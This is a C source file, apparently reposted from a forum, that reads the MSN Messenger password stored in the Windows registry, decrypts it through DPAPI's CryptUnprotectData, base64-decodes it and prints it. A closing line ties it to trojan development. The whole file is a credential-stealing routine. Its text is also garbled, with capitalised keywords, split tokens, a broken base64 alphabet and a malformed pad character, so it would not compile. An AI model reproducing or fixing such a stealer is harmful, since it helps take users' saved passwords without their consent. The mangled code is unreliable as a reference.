From http://www.msning.com/bbs/index.php? Showtopic = 15654
/* Msnmessenger password is encrypted by dpapi and saved in the Registry
* ThisProgramDecode the process
* Tombkeeper [0x40] nsfocus [0x2e] com
* Tombkeeper [0x40] xfocus [0x2e] Net
* 2004.08.11
*/
# Include <windows. h>
# Pragma comment (Lib, "advapi32.lib ")
# Define fchk (A) if (! (A) {printf (# A "failed \ n"); Return 0 ;}
Typedef struct _ cryptoapi_blob {
DWORD cbdata;
Byte * pbdata;
} Data_blob;
Typedef struct _ cryptprotect_promptstruct {
DWORD cbsize;
DWORD dwpromptflags;
Hwnd hwndapp;
Lpcwstr szprompt;
} Cryptprotect_promptstruct, * pcryptprotect_promptstruct;
Typedef bool (winapi * pcryptunprotectdata )(
Data_blob * pdatain,
Lpwstr * ppszdatadescr,
Data_blob * poptionalentropy,
Pvoid pvreserved,
Cryptprotect_promptstruct * ppromptstruct,
DWORD dwflags,
Data_blob * pdataout
);
Pcryptunprotectdata cryptunprotectdata = NULL;
Int main (void)
{
Int ret;
Hmodule hntdll;
Hkey;
DWORD dwtype;
Char data [0x100] = {0 };
DWORD dwsize;
Data_blob dataIn;
Data_blob dataout;
Ret = regopenkeyex
(
HKEY_CURRENT_USER,
"Software \ Microsoft \ msnmessenger ",
0,
Key_read,
& Hkey
);
If (Ret! = Error_success) return 1;
Ret = regqueryvalueex
(
Hkey,
"Password. Net messenger service ",
Null,
& Dwtype,
Data,
& Dwsize
);
If (Ret! = Error_success) return 1;
Fchk (hntdll = loadlibrary ("crypt32.dll "))! = NULL );
Fchk (cryptunprotectdata = (pcryptunprotectdata)
Getprocaddress (hntdll, "cryptunprotectdata "))! = NULL );
DataIn. pbdata = Data + 2; // The password ciphertext starts from the second digit
DataIn. cbdata = dwSize-2;
Cryptunprotectdata
(
& DataIn,
Null,
Null,
Null,
Null,
1,
& Dataout
);
Base64_decode (dataout. pbdata, Data, strlen (dataout. pbdata ));
Printf ("MSN password: % s \ n", data );
Return 0;
}
// Copied from GNU libc-libc/resolv/base64.c
Int base64_decode (char const * SRC, char * target, size_t targsize)
{
Static const char base64 [] =
"Abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /";
Static const char pad64 = ';
Int tarindex, state, ch;
Char * Pos;
State = 0;
Tarindex = 0;
While (CH = * SRC ++ )! = '\ 0 ')
{
If (isspace (CH)/* Skip whitespace anywhere .*/
Continue;
If (CH = pad64)
Break;
Pos = strchr (base64, CH );
If (Pos = 0)/* A non-base64 character .*/
Return (-1 );
Switch (state)
{
Case 0:
If (target)
{
If (size_t) tarindex> = targsize)
Return (-1 );
Target [tarindex] = (POS-base64) <2;
}
State = 1;
Break;
Case 1:
If (target)
{
If (size_t) tarindex + 1> = targsize)
Return (-1 );
Target [tarindex] | = (POS-base64)> 4;
Target [tarindex + 1] = (POS-base64) & 0x0f) <4;
}
Tarindex ++;
State = 2;
Break;
Case 2:
If (target)
{
If (size_t) tarindex + 1> = targsize)
Return (-1 );
Target [tarindex] | = (POS-base64)> 2;
Target [tarindex + 1] = (POS-base64) & 0x03) <6;
}
Tarindex ++;
State = 3;
Break;
Case 3:
If (target)
{
If (size_t) tarindex> = targsize)
Return (-1 );
Target [tarindex] | = (POS-base64 );
}
Tarindex ++;
State = 0;
Break;
Default:
Abort ();
}
}
/*
* We are done decoding base-64 chars. Let's see if we ended
* On a byte boundary, and/or with erroneous trailing characters.
*/
If (CH = pad64)
{/* We got a pad Char .*/
Ch = * SRC ++;/* skip it, Get next .*/
Switch (state)
{
Case 0:/* invalid = in first position */
Case 1:/* invalid = in second position */
Return (-1 );
Case 2:/* Valid, means one byte of info */
/* Skip any number of spaces .*/
For (void) NULL; ch! = '\ 0'; CH = * SRC ++)
If (! Isspace (CH ))
Break;
/* Make sure there is another trailing = sign .*/
If (Ch! = Pad64)
Return (-1 );
Ch = * SRC ++;/* skip the = */
/* Fall through to "single trailing =" case .*/
/* Fallthrough */
Case 3:/* Valid, means two bytes of info */
/*
* We know this char is an =. Is there anything
* Whitespace after it?
*/
For (void) NULL; ch! = '\ 0'; CH = * SRC ++)
If (! Isspace (CH ))
Return (-1 );
/*
* Now make sure for cases 2 and 3 that the "extra"
* Bits that slopped past the last full byte were
* Zeros. If we don't check them, they become
* Subliminal channel.
*/
If (target & target [tarindex]! = 0)
Return (-1 );
}
}
Else
{
/*
* We ended by seeing the end of the string. Make sure we
* Have no partial bytes lying around.
*/
If (State! = 0)
Return (-1 );
}
Return (tarindex );
}
// View Trojan Development Technology